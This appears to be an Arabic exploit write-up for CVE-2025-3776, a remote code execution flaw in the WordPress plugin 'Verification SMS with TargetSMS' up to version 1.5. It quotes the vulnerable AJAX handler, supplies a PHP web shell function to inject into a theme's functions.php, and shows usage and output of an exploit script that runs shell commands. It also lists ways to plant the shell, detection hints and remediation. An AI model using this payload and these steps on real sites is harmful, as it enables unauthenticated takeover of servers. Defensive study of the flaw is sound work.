CVE-2025-3776 - تنفيذ التعليمات البرمجية عن بُعد في إضافة "Verification SMS with TargetSMS" الإصدار <= 1.5

معلومات الإضافة

• اسم الإضافة: Verification SMS with TargetSMS
• الإصدارات المعرضة للخطر: <= 1.5
• معرف CVE: CVE-2025-3776
• النوع: تنفيذ التعليمات البرمجية عن بُعد (RCE)
• تصنيف OWASP: A1: Injection
• خطورة CVSS: 10.0 (حرجة)
• الصلاحيات المطلوبة: بدون مصادقة
• تاريخ النشر: 23 أبريل 2025

السبب الجذري: خطأ برمجي

تنبع الثغرة من استخدام call_user_func() على مدخلات يتحكم فيها المستخدم دون تنقية مقابل قائمة بيضاء بالدوال المسموح بها. وينتج عن ذلك خلل منطقي يمكن من خلاله تنفيذ أي دالة PHP موجودة في الذاكرة دون مصادقة، مما يؤدي إلى حالة شديدة الخطورة من تنفيذ التعليمات البرمجية عن بُعد (RCE).

موقع الكود القابل للاستغلال

الملف: /inc/ajax.php

add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');

function targetvr_ajax_handler(){
    $callback = targetvr_get_postData('callback', 'string');

    if ($callback and function_exists($callback)){
        call_user_func($callback);
    } else {
        targetvr_return_json(false);
    }

    wp_die();
}

يسمح هذا الكود للمستخدمين غير المصادقين بتشغيل أي دالة موجودة في الذاكرة، بما في ذلك الدوال الخبيثة إذا تمكن المهاجم من تحميلها.

كيفية اختبار هذه الثغرة

✅ المتطلبات الأساسية

لاستغلال هذه الثغرة بنجاح، يجب أن تكون هناك دالة قابلة للاستدعاء موجودة مسبقًا في بيئة ووردبريس. وبما أن إضافات وقوالب ووردبريس يمكنها تحميل الدوال تلقائيًا، يمكن للمهاجم حقن دالته الخاصة عبر ملف functions.php في القالب النشط.

📍 الملف المراد تعديله:

target.com/wp-content/themes/twentytwentyfour/functions.php

🛠️ احقن الحمولة التالية في نهاية functions.php:

function evil() {
    if (isset($_GET['cmd'])) {
        echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
    } else {
        echo '<pre>' . shell_exec("whoami") . '</pre>';
    }
    exit;
}

✅ يضمن هذا تحميل دالة evil() في الذاكرة وإمكانية تنفيذها عبر call_user_func().

خطوات الاستغلال باستخدام سكربت Python

✅ الاستخدام:

python3 CVE-2025-3776.py -u http://target.com -c "id"

✅ مثال على المخرجات:

[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>

Exploit By : Nxploited ( Khaled Alenazi )

قائمة مساعدة سكربت Python:

usage: CVE-2025-3776.py [-h] -u URL [-c CMD]

CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5

# Exploit by Nxploited ( Khaled Alenazi )

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target WordPress site URL
  -c, --cmd CMD  Command to execute (default: whoami)

السلوك بدون حقن

إذا لم تكن هناك دالة evil() أو ما شابهها متاحة في الذاكرة:

• سيؤدي الطلب إلى:

{"status":false}

• هذا يعني أن دالة الاستدعاء غير موجودة، ويفشل الاستغلال بشكل آمن.

مسارات الاستغلال الواقعية

• حقن ملف القالب: تعديل ملف functions.php في القالب النشط (كما هو موضح).
• عبر إضافات مدير الملفات: استخدام أي إضافة مثل WP File Manager لرفع ملف PHP يحتوي على evil().
• عبر ثغرات LFI أو تضمين الملفات: استخدام ثغرة تضمين ملف محلي (LFI) موجودة لتضمين ملف مرفوع يحتوي على دالة خبيثة.

المخاطر والأثر

بمجرد تحميل دالة خبيثة، يمكن لمهاجم غير مصادق:

• تنفيذ أوامر شل عشوائية
• عرض ملفات حساسة على الخادم
• الانتقال إلى اختراق كامل للموقع أو الخادم

التوصيات

• قم فورًا بتعطيل الإضافة أو إزالتها إذا كان الإصدار أقل من أو يساوي 1.5
• قيّد الوصول إلى تحرير الملفات عبر wp-admin
• حدّث الإضافة أو استبدلها ببدائل آمنة

الاكتشاف

ابحث عن طلبات POST متكررة إلى:

/wp-admin/admin-ajax.php?action=targetvrHHndler

مع callback=evil أو أي أسماء دوال غير متوقعة

إخلاء مسؤولية قانوني

يتم توفير هذه المعلومات لأغراض تعليمية وبحثية أخلاقية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذه المعلومات.

نسبة الاستغلال

الاستغلال بواسطة: Nxploited (Khaled Alenazi)